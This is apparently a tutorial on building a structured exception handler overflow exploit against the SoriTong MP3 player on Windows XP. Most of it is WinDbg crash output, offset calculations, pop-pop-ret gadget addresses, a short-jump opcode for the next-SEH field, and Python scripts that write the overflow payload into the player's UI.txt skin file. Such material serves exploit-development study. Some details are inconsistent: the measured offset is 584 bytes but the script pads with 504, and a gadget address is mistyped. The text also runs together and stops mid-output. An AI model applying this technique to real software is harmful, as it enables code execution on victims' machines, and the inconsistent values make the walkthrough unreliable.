EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at "0x%08lx" referenced memory at "0x%08lx". The memory could not be "%s".
EXCEPTION_PARAMETER1: 00000001
EXCEPTION_PARAMETER2: 00130000
WRITE_ADDRESS: 00130000
FOLLOWUP_IP:
SoriTong!TmC13_5+3ea3
00422e33 8810 mov byte ptr [eax],dl
MOD_LIST: <ANALYSIS/>
NTGLOBALFLAG: 70
APPLICATION_VERIFIER_FLAGS: 0
PRIMARY_PROBLEM_CLASS: INVALID_POINTER_WRITE
BUGCHECK_STR: APPLICATION_FAULT_INVALID_POINTER_WRITE
IP_ON_HEAP: 41414141
IP_IN_FREE_BLOCK: 41414141
FRAME_ONE_INVALID: 1
LAST_CONTROL_TRANSFER: from 41414141 to 00422e33
STACK_TEXT:
WARNING: Stack unwind information not available. Following frames may be wrong.
0012fd38 41414141 41414141 41414141 41414141 SoriTong!TmC13_5+0x3ea3
0012fd3c 41414141 41414141 41414141 41414141 0x41414141
0012fd40 41414141 41414141 41414141 41414141 0x41414141
0012fd44 41414141 41414141 41414141 41414141 0x41414141
0012fd48 41414141 41414141 41414141 41414141 0x41414141
0012fd4c 41414141 41414141 41414141 41414141 0x41414141
0012fd50 41414141 41414141 41414141 41414141 0x41414141
0012fd54 41414141 41414141 41414141 41414141 0x41414141
0012fd58 41414141 41414141 41414141 41414141 0x41414141
0012fd5c 41414141 41414141 41414141 41414141 0x41414141
0012fd60 41414141 41414141 41414141 41414141 0x41414141
0012fd64 41414141 41414141 41414141 41414141 0x41414141
0012fd68 41414141 41414141 41414141 41414141 0x41414141
0012fd6c 41414141 41414141 41414141 41414141 0x41414141
0012fd70 41414141 41414141 41414141 41414141 0x41414141
0012fd74 41414141 41414141 41414141 41414141 0x41414141
0012fd78 41414141 41414141 41414141 41414141 0x41414141
0012fd7c 41414141 41414141 41414141 41414141 0x41414141
0012fd80 41414141 41414141 41414141 41414141 0x41414141
0012fd84 41414141 41414141 41414141 41414141 0x41414141
0012fd88 41414141 41414141 41414141 41414141 0x41414141
0012fd8c 41414141 41414141 41414141 41414141 0x41414141
0012fd90 41414141 41414141 41414141 41414141 0x41414141
0012fd94 41414141 41414141 41414141 41414141 0x41414141
0012fd98 41414141 41414141 41414141 41414141 0x41414141
0012fd9c 41414141 41414141 41414141 41414141 0x41414141
0012fda0 41414141 41414141 41414141 41414141 0x41414141
0012fda4 41414141 41414141 41414141 41414141 0x41414141
0012fda8 41414141 41414141 41414141 41414141 0x41414141
0012fdac 41414141 41414141 41414141 41414141 0x41414141
0012fdb0 41414141 41414141 41414141 41414141 0x41414141
0012fdb4 41414141 41414141 41414141 41414141 0x41414141
0012fdb8 41414141 41414141 41414141 41414141 0x41414141
0012fdbc 41414141 41414141 41414141 41414141 0x41414141
0012fdc0 41414141 41414141 41414141 41414141 0x41414141
0012fdc4 41414141 41414141 41414141 41414141 0x41414141
0012fdc8 41414141 41414141 41414141 41414141 0x41414141
0012fdcc 41414141 41414141 41414141 41414141 0x41414141
0012fdd0 41414141 41414141 41414141 41414141 0x41414141
0012fdd4 41414141 41414141 41414141 41414141 0x41414141
0012fdd8 41414141 41414141 41414141 41414141 0x41414141
0012fddc 41414141 41414141 41414141 41414141 0x41414141
0012fde0 41414141 41414141 41414141 41414141 0x41414141
0012fde4 41414141 41414141 41414141 41414141 0x41414141
0012fde8 41414141 41414141 41414141 41414141 0x41414141
0012fdec 41414141 41414141 41414141 41414141 0x41414141
0012fdf0 41414141 41414141 41414141 41414141 0x41414141
0012fdf4 41414141 41414141 41414141 41414141 0x41414141
0012fdf8 41414141 41414141 41414141 41414141 0x41414141
0012fdfc 41414141 41414141 41414141 41414141 0x41414141
0012fe00 41414141 41414141 41414141 41414141 0x41414141
0012fe04 41414141 41414141 41414141 41414141 0x41414141
0012fe08 41414141 41414141 41414141 41414141 0x41414141
0012fe0c 41414141 41414141 41414141 41414141 0x41414141
0012fe10 41414141 41414141 41414141 41414141 0x41414141
0012fe14 41414141 41414141 41414141 41414141 0x41414141
0012fe18 41414141 41414141 41414141 41414141 0x41414141
0012fe1c 41414141 41414141 41414141 41414141 0x41414141
0012fe20 41414141 41414141 41414141 41414141 0x41414141
0012fe24 41414141 41414141 41414141 41414141 0x41414141
0012fe28 41414141 41414141 41414141 41414141 0x41414141
0012fe2c 41414141 41414141 41414141 41414141 0x41414141
0012fe30 41414141 41414141 41414141 41414141 0x41414141
0012fe34 41414141 41414141 41414141 41414141 0x41414141
0012fe38 41414141 41414141 41414141 41414141 0x41414141
0012fe3c 41414141 41414141 41414141 41414141 0x41414141
0012fe40 41414141 41414141 41414141 41414141 0x41414141
0012fe44 41414141 41414141 41414141 41414141 0x41414141
0012fe48 41414141 41414141 41414141 41414141 0x41414141
0012fe4c 41414141 41414141 41414141 41414141 0x41414141
0012fe50 41414141 41414141 41414141 41414141 0x41414141
0012fe54 41414141 41414141 41414141 41414141 0x41414141
0012fe58 41414141 41414141 41414141 41414141 0x41414141
0012fe5c 41414141 41414141 41414141 41414141 0x41414141
0012fe60 41414141 41414141 41414141 41414141 0x41414141
0012fe64 41414141 41414141 41414141 41414141 0x41414141
0012fe68 41414141 41414141 41414141 41414141 0x41414141
0012fe6c 41414141 41414141 41414141 41414141 0x41414141
0012fe70 41414141 41414141 41414141 41414141 0x41414141
0012fe74 41414141 41414141 41414141 41414141 0x41414141
0012fe78 41414141 41414141 41414141 41414141 0x41414141
0012fe7c 41414141 41414141 41414141 41414141 0x41414141
0012fe80 41414141 41414141 41414141 41414141 0x41414141
0012fe84 41414141 41414141 41414141 41414141 0x41414141
0012fe88 41414141 41414141 41414141 41414141 0x41414141
0012fe8c 41414141 41414141 41414141 41414141 0x41414141
0012fe90 41414141 41414141 41414141 41414141 0x41414141
0012fe94 41414141 41414141 41414141 41414141 0x41414141
0012fe98 41414141 41414141 41414141 41414141 0x41414141
0012fe9c 41414141 41414141 41414141 41414141 0x41414141
0012fea0 41414141 41414141 41414141 41414141 0x41414141
0012fea4 41414141 41414141 41414141 41414141 0x41414141
0012fea8 41414141 41414141 41414141 41414141 0x41414141
0012feac 41414141 41414141 41414141 41414141 0x41414141
0012feb0 41414141 41414141 41414141 41414141 0x41414141
0012feb4 41414141 41414141 41414141 41414141 0x41414141
0012feb8 41414141 41414141 41414141 41414141 0x41414141
0012febc 41414141 41414141 41414141 41414141 0x41414141
0012fec0 41414141 41414141 41414141 41414141 0x41414141
0012fec4 41414141 41414141 41414141 41414141 0x41414141
0012fec8 41414141 41414141 41414141 41414141 0x41414141
0012fecc 41414141 41414141 41414141 41414141 0x41414141
0012fed0 41414141 41414141 41414141 41414141 0x41414141
0012fed4 41414141 41414141 41414141 41414141 0x41414141
0012fed8 41414141 41414141 41414141 41414141 0x41414141
0012fedc 41414141 41414141 41414141 41414141 0x41414141
0012fee0 41414141 41414141 41414141 41414141 0x41414141
0012fee4 41414141 41414141 41414141 41414141 0x41414141
0012fee8 41414141 41414141 41414141 41414141 0x41414141
0012feec 41414141 41414141 41414141 41414141 0x41414141
0012fef0 41414141 41414141 41414141 41414141 0x41414141
0012fef4 41414141 41414141 41414141 41414141 0x41414141
0012fef8 41414141 41414141 41414141 41414141 0x41414141
0012fefc 41414141 41414141 41414141 41414141 0x41414141
0012ff00 41414141 41414141 41414141 41414141 0x41414141
0012ff04 41414141 41414141 41414141 41414141 0x41414141
0012ff08 41414141 41414141 41414141 41414141 0x41414141
0012ff0c 41414141 41414141 41414141 41414141 0x41414141
0012ff10 41414141 41414141 41414141 41414141 0x41414141
0012ff14 41414141 41414141 41414141 41414141 0x41414141
0012ff18 41414141 41414141 41414141 41414141 0x41414141
0012ff1c 41414141 41414141 41414141 41414141 0x41414141
0012ff20 41414141 41414141 41414141 41414141 0x41414141
0012ff24 41414141 41414141 41414141 41414141 0x41414141
0012ff28 41414141 41414141 41414141 41414141 0x41414141
0012ff2c 41414141 41414141 41414141 41414141 0x41414141
0012ff30 41414141 41414141 41414141 41414141 0x41414141
0012ff34 41414141 41414141 41414141 41414141 0x41414141
0012ff38 41414141 41414141 41414141 41414141 0x41414141
0012ff3c 41414141 41414141 41414141 41414141 0x41414141
0012ff40 41414141 41414141 41414141 41414141 0x41414141
0012ff44 41414141 41414141 41414141 41414141 0x41414141
0012ff48 41414141 41414141 41414141 41414141 0x41414141
0012ff4c 41414141 41414141 41414141 41414141 0x41414141
0012ff50 41414141 41414141 41414141 41414141 0x41414141
0012ff54 41414141 41414141 41414141 41414141 0x41414141
0012ff58 41414141 41414141 41414141 41414141 0x41414141
0012ff5c 41414141 41414141 41414141 41414141 0x41414141
0012ff60 41414141 41414141 41414141 41414141 0x41414141
0012ff64 41414141 41414141 41414141 41414141 0x41414141
0012ff68 41414141 41414141 41414141 41414141 0x41414141
0012ff6c 41414141 41414141 41414141 41414141 0x41414141
0012ff70 41414141 41414141 41414141 41414141 0x41414141
0012ff74 41414141 41414141 41414141 41414141 0x41414141
0012ff78 41414141 41414141 41414141 41414141 0x41414141
0012ff7c 41414141 41414141 41414141 41414141 0x41414141
0012ff80 41414141 41414141 41414141 41414141 0x41414141
0012ff84 41414141 41414141 41414141 41414141 0x41414141
0012ff88 41414141 41414141 41414141 41414141 0x41414141
0012ff8c 41414141 41414141 41414141 41414141 0x41414141
0012ff90 41414141 41414141 41414141 41414141 0x41414141
0012ff94 41414141 41414141 41414141 41414141 0x41414141
0012ff98 41414141 41414141 41414141 41414141 0x41414141
0012ff9c 41414141 41414141 41414141 41414141 0x41414141
0012ffa0 41414141 41414141 41414141 41414141 0x41414141
0012ffa4 41414141 41414141 41414141 41414141 0x41414141
0012ffa8 41414141 41414141 41414141 41414141 0x41414141
0012ffac 41414141 41414141 41414141 41414141 0x41414141
0012ffb0 41414141 41414141 41414141 41414141 0x41414141
0012ffb4 41414141 41414141 41414141 41414141 0x41414141
0012ffb8 41414141 41414141 41414141 41414141 0x41414141
0012ffbc 41414141 41414141 41414141 41414141 0x41414141
0012ffc0 41414141 41414141 41414141 41414141 0x41414141
0012ffc4 41414141 41414141 41414141 41414141 0x41414141
0012ffc8 41414141 41414141 41414141 41414141 0x41414141
0012ffcc 41414141 41414141 41414141 41414141 0x41414141
0012ffd0 41414141 41414141 41414141 41414141 0x41414141
0012ffd4 41414141 41414141 41414141 41414141 0x41414141
0012ffd8 41414141 41414141 41414141 41414141 0x41414141
0012ffdc 41414141 41414141 41414141 41414141 0x41414141
0012ffe0 41414141 41414141 41414141 41414141 0x41414141
0012ffe4 41414141 41414141 41414141 41414141 0x41414141
0012ffe8 41414141 41414141 41414141 41414141 0x41414141
0012ffec 41414141 41414141 41414141 41414141 0x41414141
0012fff0 41414141 41414141 41414141 78746341 0x41414141
0012fff4 41414141 41414141 78746341 00000020 0x41414141
0012fff8 41414141 78746341 00000020 00000001 0x41414141
0012fffc 78746341 00000020 00000001 00002498 0x41414141
0012fffc 00000000 00000020 00000001 00002498 0x78746341
SYMBOL_STACK_INDEX: 0
SYMBOL_NAME: soritong!TmC13_5+3ea3
FOLLOWUP_NAME: MachineOwner
MODULE_NAME: SoriTong
IMAGE_NAME: SoriTong.exe
DEBUG_FLR_IMAGE_TIMESTAMP: 37dee000
STACK_COMMAND: ~0s ; kb
FAILURE_BUCKET_ID: INVALID_POINTER_WRITE_c0000005_SoriTong.exe!TmC13_5
BUCKET_ID: APPLICATION_FAULT_INVALID_POINTER_WRITE_soritong!TmC13_5+3ea3
Followup: MachineOwner
---------
The exception record points at ffffffff, which means that the application did not use an exception handler for this overflow (and the “last resort” handler was used, which is provided for by the OS).When you dump the TEB after the exception occurred, you see this :
0:000> d fs:[0]
003b:00000000 64 fd 12 00 00 00 13 00-00 c0 12 00 00 00 00 00 d...............
003b:00000010 00 1e 00 00 00 00 00 00-00 f0 fd 7f 00 00 00 00 ................
003b:00000020 0c 0e 00 00 10 0e 00 00-00 00 00 00 08 2a 14 00 .............*..
003b:00000030 00 d0 fd 7f 00 00 00 00-00 00 00 00 00 00 00 00 ................
003b:00000040 a0 02 ed e1 00 00 00 00-00 00 00 00 00 00 00 00 ................
003b:00000050 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
003b:00000060 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
003b:00000070 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
=> pointer to the SEH chain, at 0x0012FD64.
That area now contains A’s0:000> d 0x0012FD64
0012fd64 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0012fd74 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0012fd84 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0012fd94 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0012fda4 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0012fdb4 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0012fdc4 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0012fdd4 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
The exception chain says :0:000> !exchain
0012fd64: 41414141
Invalid exception stack at 41414141
=> so we have overwritten the exception handler. Now let the appliation catch the exception (simply type ‘g’ again in windbg, or press F5) and let’ see what happens :0:000> g
(e0c.e10): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=00000000 ecx=41414141 edx=7c9032bc esi=00000000 edi=00000000
eip=41414141 esp=0012d644 ebp=0012d664 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
41414141 ?? ???
eip now points to 41414141, so we can control EIP.The exchain now reports
0:000> !exchain
0012d658: ntdll!ExecuteHandler2+3a (7c9032bc)
0012fd64: 41414141
Invalid exception stack at 41414141
Microsoft has released a windbg extension called !exploitable. Download the package, and put the dll file in the windbg program folder, inside the winext subfolder.Can I use the shellcode found in the registers to jump to ?
Yes and no. Before Windows XP SP1, you could jump directly to these registers in order to execute the shellcode. But from SP1 and up, a protection mechanism has been plut in place to protect things like that from happening. Before the exception handler takes control, all registers are XOred with each other, so they all point to 0x00000000 That way, when SEH kicks in, the registers are useless.Advantages of SEH Based Exploits over RET (direct EIP) overwrite stack overflows
n a typical RET overflow, you overwrite EIP and make it jump to your shellcode. This technique works well, but may cause stability issues (if you cannot find a jmp instruction in a dll, or if you need to hardcode addresses), and it may also suffer from buffer size problems, limiting the amount of space available to host your shellcode.It’s often worth while, every time you have discovered a stack based overflow and found that you can overwrite EIP, to try to write further down the stack to try to hit the SEH chain. “Writing further down” means that you will likely end up with more available buffer space; and since you would be overwriting EIP at the same time (with garbage), an exception would be triggered automatically, converting the ‘classic’ exploit into a SEH exploit.
Then how can we exploit SEH based vulnerabilities ?
Easy. In SEH based exploits, your junk payload will first overwrite the next SEH pointer address, then the SE Handler. Next, put your shellcode.When the exception occurs, the application will go to the SE Handler. So you need to put something in the SE Handler so it would go to your shellcode. This is done by faking a second exception, so the application goes to the next SEH pointer.
Since the next SEH pointer sits before the SE Handler, you can already overwritten the next SEH. The shellcode sits after the SE Handler. If you put one and one together, you can trick SE Handler to run pop pop ret, which will put the address to next SEH in EIP, and that will execute the code in next SEH. (So instead of putting an address in next SEH, you put some code in next SEH). All this code needs to do is jump over the next couple of bytes (where SE Handler is stored) and your shellcode will be executed
1st exception occurs :
|
--------------------------- (1)
|
-------+-------------- (3) opcode in next SEH : jump over SE Handler to the shellcode
| | |
| V V
______________________________________________________
[ Junk buffer ][ next SEH ][ SE Handler ][ Shellcode ]
opcode to do (3) Shellcode gets executed
jump over pop pop ret
SE Handler |
^ |
| |
-------------- (2) will ‘pretend’ there’s a second exception, puts address of next SEH location in EIP, so opcode gets executed
Of course, the shellcode may not be right after overwriting SE Handler… or there may be some additional garbage at the first couple of bytes… It’s important to verify that you can locate the shellcode and that you can properly jump to the shellcode.How can you find the shellcode with SEH based exploits ?
First, find the offset to next SEH and SEH, overwrite SEH with a pop pop ret, and put breakpoints in next SEH. This will make the application break when the exception occurs, and then you can look for the shellcode. See the sections below on how to do this.Building the exploit – Find the “next SEH” and “SE Handler” offsets
- to the place where we will overwrite the next SEH (with jump to shellcode)
- to the place where we will overwrite the current SE Handler (should be right after the “next SEH” (we need to overwrite this something that will bring us back at next SEH)
- to the shellcode
#!/usr/bin/env python
# -*- coding: utf8 -*-
data = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5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k4Gk5Gk"
f = open("C:\Program Files\SoriTong\Skin\Default\UI.txt", 'w')
f.write(data)
f.close()
Create the ui.txt file.Open windbg, open the soritong.exe executable. It will start paused, so launch it. The debugger will catch the first chance exception. Don’t let it run further allowing the applicaiton to catch the exception, as it would change the entire stack layout. Just keep the debugger paused and look at the seh chain :
0:000> !exchain
0012fd64: 41367441
Invalid exception stack at 35744134
0012FD64 35744134 4At5 Pointer to next SEH record
0012FD68 41367441 At6A SE handler
0012FD6C 74413774 t7At
0012FD70 39744138 8At9
0012FD74 41307541 Au0A
0012FD78 75413175 u1Au
0012FD7C 33754132 2Au3
0012FD80 41347541 Au4A
0012FD84 75413575 u5Au
Pointer to next SEH record is overwritten after 584 bytes. This location is 0x0012FD64 (as shown at the !exchain output)lab:tools/ $ ./pattern_offset.rb 4At5 5000
[*] Exact match at offset 584
We know that our shellcode sits right after overwriting the SE Handler. So the shellcode must be placed at 0x0012FD64+4bytes+4bytes[Junk][next SEH][SEH][Shellcode]
Goal : The exploit triggers an exception, goes to SEH, which will trigger another exception (pop pop ret). This will make the flow jump back to next SEH. So all we need to tell “next SEH” is “jump over the next couple of bytes and you’ll end up in the shellcode”. 6 bytes (or more, if you start the shellcode with a bunch of NOPs) will do just fine.The opcode for a short jump is eb, followed by the jump distance. In other words, a short jump of 6 bytes corresponds with opcode eb 06. We need to fill 4 bytes, so we must add 2 NOP’s to fill the 4 byte space. So the next SEH field must be overwritten with
0xeb,0x06,0x90,0x90
How exactly does the pop pop ret function when working with SEH based exploits?
When an exception occurs, the exception dispatcher creates its own stack frame. It will push elements from the EH Handler on to the newly created stack (as part of a function prologue). One of the fields in the EH Structure is the EstablisherFrame. This field points to the address of the exception registration record (the next SEH) that was pushed onto the program stack. This same address is also located at ESP+8 when the handler is called. Now if we overwrite the handler with the address of a pop pop ret sequence :- the first pop will take off 4 bytes from the stack
- the second pop will take another 4 bytes from the stack
- the ret will take the current value from the top of ESP ( = the address of the next SEH, which was at ESP+8, but because of the 2 pop’s now sits at the top of the stack) and puts that in EIP.
Building the exploit – putting all pieces together
After having found the important offsets, we only need the the address of a pop pop ret before we can build the exploit.When launching Soritong MP3 player in windbg, we can see the list of loaded modules :
Executable modules
Base Size Entry Name (system File version Path
00400000 000DE000 00401000 SoriTong.<ModuleE SoriTong C:\Program Files\SoriTong\SoriTong.exe
00EB0000 0004F000 00ED8870 DRMClien.<ModuleE DRMClien (system 9.00.00.4503 C:\WINDOWS\system32\DRMClien.DLL
10000000 00094000 100131B0 Player.<ModuleEnt Player C:\Program Files\SoriTong\Player.dll
42100000 00029000 4211AD40 wmaudsdk.<ModuleE wmaudsdk (system 4.00.0.3845 C:\WINDOWS\system32\wmaudsdk.dll
5BC60000 0003F000 5BC95A00 strmdll.<ModuleEn strmdll (system 4.1.00.3936 C:\WINDOWS\system32\strmdll.dll
5D090000 0009A000 5D0934BA COMCTL32.<ModuleE COMCTL32 (system 5.82 (xpsp.080413-2105) C:\WINDOWS\system32\COMCTL32.dll
71AA0000 00008000 71AA1638 WS2HELP.<ModuleEn WS2HELP (system 5.1.2600.5512 (xpsp.08041 C:\WINDOWS\system32\WS2HELP.dll
71AB0000 00017000 71AB1273 WS2_32.<ModuleEnt WS2_32 (system 5.1.2600.5512 (xpsp.08041 C:\WINDOWS\system32\WS2_32.dll
71AD0000 00009000 71AD1039 WSOCK32.<ModuleEn WSOCK32 (system 5.1.2600.5512 (xpsp.08041 C:\WINDOWS\system32\WSOCK32.dll
72D10000 00008000 72D12575 msacm32.<ModuleEn msacm32 (system 5.1.2600.0 (xpclient.0108 C:\WINDOWS\system32\msacm32.drv
72D20000 00009000 72D243CD wdmaud.<ModuleEnt wdmaud (system 5.1.2600.5512 (xpsp.08041 C:\WINDOWS\system32\wdmaud.drv
73000000 00026000 730054A5 WINSPOOL.<ModuleE WINSPOOL (system 5.1.2600.5512 (xpsp.08041 C:\WINDOWS\system32\WINSPOOL.DRV
763B0000 00049000 763B1619 COMDLG32.<ModuleE COMDLG32 (system 6.00.2900.5512 (xpsp.0804 C:\WINDOWS\system32\COMDLG32.dll
76B40000 0002D000 76B42B61 WINMM.<ModuleEntr WINMM (system 5.1.2600.5512 (xpsp.08041 C:\WINDOWS\system32\WINMM.dll
76C30000 0002E000 76C31529 WINTRUST.<ModuleE WINTRUST (system 5.131.2600.5512 (xpsp.080 C:\WINDOWS\system32\WINTRUST.dll
76C90000 00028000 76C9126D IMAGEHLP.<ModuleE IMAGEHLP (system 5.1.2600.5512 (xpsp.08041 C:\WINDOWS\system32\IMAGEHLP.dll
76E80000 0000E000 76E81BAD rtutils.<ModuleEn rtutils (system 5.1.2600.5512 (xpsp.08041 C:\WINDOWS\system32\rtutils.dll
76EB0000 0002F000 76EB13A0 TAPI32.<ModuleEnt TAPI32 (system 5.1.2600.5512 (xpsp.08041 C:\WINDOWS\system32\TAPI32.dll
77120000 0008B000 77121560 OLEAUT32.<ModuleE OLEAUT32 (system 5.1.2600.5512 C:\WINDOWS\system32\OLEAUT32.dll
773D0000 00103000 773D4256 comctl_1.<ModuleE comctl_1 6.0 (xpsp.080413-2105) C:\WINDOWS\WinSxS\x86_Microsoft.Windows.Common-Controls_6595b64144ccf1df_6.0.2600.5512_x-ww_35d4ce83\comctl32.dll
774E0000 0013D000 774FD0B9 OLE32.<ModuleEntr OLE32 (system 5.1.2600.5512 (xpsp.08041 C:\WINDOWS\system32\OLE32.dll
77A80000 00095000 77A81632 CRYPT32.<ModuleEn CRYPT32 (system 5.131.2600.5512 (xpsp.080 C:\WINDOWS\system32\CRYPT32.dll
77B20000 00012000 77B23399 MSASN1.<ModuleEnt MSASN1 (system 5.1.2600.5512 (xpsp.08041 C:\WINDOWS\system32\MSASN1.dll
77BD0000 00007000 77BD33BD midimap.<ModuleEn midimap (system 5.1.2600.5512 (xpsp.08041 C:\WINDOWS\system32\midimap.dll
77BE0000 00015000 77BE1292 MSACM3_1.<ModuleE MSACM3_1 (system 5.1.2600.5512 (xpsp.08041 C:\WINDOWS\system32\MSACM32.dll
77C00000 00008000 77C01135 VERSION.<ModuleEn VERSION (system 5.1.2600.5512 (xpsp.08041 C:\WINDOWS\system32\VERSION.dll
77C10000 00058000 77C1F2A1 msvcrt.<ModuleEnt msvcrt (system 7.0.2600.5512 (xpsp.08041 C:\WINDOWS\system32\msvcrt.dll
77DD0000 0009B000 77DD70FB ADVAPI32.<ModuleE ADVAPI32 (system 5.1.2600.5512 (xpsp.08041 C:\WINDOWS\system32\ADVAPI32.dll
77E70000 00092000 77E7628F RPCRT4.<ModuleEnt RPCRT4 (system 5.1.2600.5512 (xpsp.08041 C:\WINDOWS\system32\RPCRT4.dll
77F10000 00049000 77F16587 GDI32.<ModuleEntr GDI32 (system 5.1.2600.5512 (xpsp.08041 C:\WINDOWS\system32\GDI32.dll
77F60000 00076000 77F651FB SHLWAPI.<ModuleEn SHLWAPI (system 6.00.2900.5512 (xpsp.0804 C:\WINDOWS\system32\SHLWAPI.dll
77FE0000 00011000 77FE2126 Secur32.<ModuleEn Secur32 (system 5.1.2600.5512 (xpsp.08041 C:\WINDOWS\system32\Secur32.dll
7C800000 000F6000 7C80B63E kernel32.<ModuleE kernel32 (system 5.1.2600.5512 (xpsp.08041 C:\WINDOWS\system32\kernel32.dll
7C900000 000AF000 7C912C28 ntdll.<ModuleEntr ntdll (system 5.1.2600.5512 (xpsp.08041 C:\WINDOWS\system32\ntdll.dll
7C9C0000 00817000 7C9E74D6 SHELL32.<ModuleEn SHELL32 (system 6.00.2900.5512 (xpsp.0804 C:\WINDOWS\system32\SHELL32.dll
7E410000 00091000 7E41B217 USER32.UserClient USER32 (system 5.1.2600.5512 (xpsp.08041 C:\WINDOWS\system32\USER32.dll
We are specifially interested in application specific dll’s, so let’s find a pop pop ret in that dll. Using findjmp.exe, we can look into that dll and look for pop pop ret sequences (e.g. look for pop edi)Any of the following addresses should do, as long as it does not contain null bytes.
$ ./findjmp.exe Player.dll edi | grep pop | grep -v "000"
0x100104F8 pop edi - pop - retbis
0x100106FB pop edi - pop - ret
0x1001074F pop edi - pop - retbis
0x10010CAB pop edi - pop - ret
0x100116FD pop edi - pop - ret
0x1001263D pop edi - pop - ret
0x100127F8 pop edi - pop - ret
0x1001281F pop edi - pop - ret
0x10012984 pop edi - pop - ret
0x10012DDD pop edi - pop - ret
0x10012E17 pop edi - pop - ret
0x10012E5E pop edi - pop - ret
0x10012E70 pop edi - pop - ret
0x10012F56 pop edi - pop - ret
0x100133B2 pop edi - pop - ret
0x10013878 pop edi - pop - ret
0x100138F7 pop edi - pop - ret
0x10014448 pop edi - pop - ret
0x10014475 pop edi - pop - ret
0x10014499 pop edi - pop - ret
0x100144BF pop edi - pop - ret
0x10016D8C pop edi - pop - ret
0x100173BB pop edi - pop - ret
0x100173C2 pop edi - pop - ret
0x100173C9 pop edi - pop - ret
0x1001824C pop edi - pop - ret
0x10018290 pop edi - pop - ret
0x1001829B pop edi - pop - ret
0x10018DE8 pop edi - pop - ret
0x10018FE7 pop edi - pop - ret
0x10019267 pop edi - pop - ret
0x100192EE pop edi - pop - ret
0x1001930F pop edi - pop - ret
0x100193BD pop edi - pop - ret
0x100193C8 pop edi - pop - ret
0x100193FF pop edi - pop - ret
0x1001941F pop edi - pop - ret
0x1001947D pop edi - pop - ret
0x100194CD pop edi - pop - ret
0x100194D2 pop edi - pop - ret
0x1001B7E9 pop edi - pop - ret
0x1001B883 pop edi - pop - ret
0x1001BDBA pop edi - pop - ret
0x1001BDDC pop edi - pop - ret
0x1001BE3C pop edi - pop - ret
0x1001D86D pop edi - pop - ret
0x1001D8F5 pop edi - pop - ret
0x1001E0C7 pop edi - pop - ret
0x1001E812 pop edi - pop - ret
Let’s say we will use 0x1008DE8, which corresponds with10018DE8 |. 5F POP EDI
10018DE9 |. 5E POP ESI
10018DEA |. C3 RETN
(You should be able to use any of the addresses).Note : as you can see above, findjmp requires you to specify a register. It may be easier to use msfpescan from Metasploit (simply run msfpescan against the dll, with parameter -p (look for pop pop ret) and output everything to file. msfpescan does not require you to specify a register, it will simply get all combinations… Then open the file & you’ll see all address. Alternatively you can use memdump to dump all process memory to a folder, and then use msfpescan -M-p to look for all pop pop ret combinations from memory.
lab:metasploit-framework/ $ ./msfpescan -p ~/share/Player.dll
The exploit payload must look like this:[584 characters][0xeb,0x06,0x90,0x90][0x10018de8][NOPs][Shellcode]
junk next SEH current SEH
In fact, most typical SEH exploits will look like this : ----------------------------------------------------------------------------------------
| Buffer padding | short jump to stage 2 | pop/pop/ret address | stage 2 (shellcode) |
----------------------------------------------------------------------------------------
| Buffer | next SEH | SEH | |
----------------------------------------------------------------------------------------
In order to locate the shellcode (which should be right after SEH), you can replace the 4 bytes at “next SEH” with breakpoints. That will allow you to inspect the registers. An example :#!/usr/bin/env python
# -*- coding: utf8 -*-
from struct import pack
junk1 = "A" * 504
next_seh = "\xcc\xcc\xcc\xcc"
se_handler = pack("I", 0x1001E812)
shellcode = "B" * 50
junk2 = "\x90" * 200
payload = junk1 + next_seh + se_handler + shellcode + junk2
f = open("C:\Program Files\SoriTong\Skin\Default\UI.txt", 'w')
f.write(payload)
f.close()
(9cc.8fc): Break instruction exception - code 80000003 (first chance)
eax=00241eb4 ebx=7ffdf000 ecx=00000001 edx=00000002 esi=00241f48 edi=00241eb4
eip=7c90120e esp=0012fb20 ebp=0012fc94 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
ntdll!DbgBreakPoint:
7c90120e cc int 3
So, after passing on the first exception to the application, the application has stopped because of the breakpoints at nSEH.(1dc.a00): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00130000 ebx=00000003 ecx=ffffff90 edx=00000090 esi=0017d504 edi=0012fd64
eip=00422e33 esp=0012da14 ebp=0012fd38 iopl=0 nv up ei ng nz ac pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010296
*** WARNING: Unable to verify checksum for SoriTong.exe
*** ERROR: Symbol file could not be found. Defaulted to export symbols for SoriTong.exe -
SoriTong!TmC13_5+0x3ea3:
00422e33 8810 mov byte ptr [eax],dl ds:0023:00130000=41
EIP currently points at the first byte at nSEH, so you should be able to see the shellcode about 8 bytes (4 bytes for nSEH, and 4 bytes for SEH) further down :(1dc.a00): Break instruction exception - code 80000003 (first chance)
eax=00000000 ebx=00000000 ecx=1001e812 edx=7c9032bc esi=0012d72c edi=7c9032a8
eip=0012fd64 esp=0012d650 ebp=0012d664 iopl=0 nv up ei pl zr na pe nc
